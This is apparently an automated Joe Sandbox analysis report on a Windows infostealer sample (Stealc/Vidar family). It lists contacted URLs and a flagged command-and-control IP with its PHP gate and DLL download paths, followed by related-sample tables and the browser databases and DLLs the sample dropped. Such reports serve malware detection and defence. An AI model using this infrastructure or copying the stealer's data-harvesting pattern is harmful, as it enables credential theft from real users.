https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpn	file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AFIEGIECGCBKFIEBGCAA.0.dr	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpx	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37S	file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll5	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984700175.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllm	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php3d	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dlle	file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1794962730.000000001D70C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllUser	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpEGIECGCBKFIEBGCAA	file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dlly	file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllw	file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpem	file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php5	file.exe, 00000000.00000003.1807587469.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php)	file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538054
Start date and time:	2024-10-20 06:39:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.103
	EY5iB1Y7CH.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	xvus4NLqiQ.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIEGIECGCBKFIEBGCAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CGCFIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAKEHIEBKJJJJJKKKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJEGCAEGIIIDHIEBKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIEGIIIECAKEBFBAAEBKFCFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: jqLt8WnO6C.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JuyR4wj8av.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: yAkRyU2LPe.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: EL7ggW7AdA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: y45bCpZY1I.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
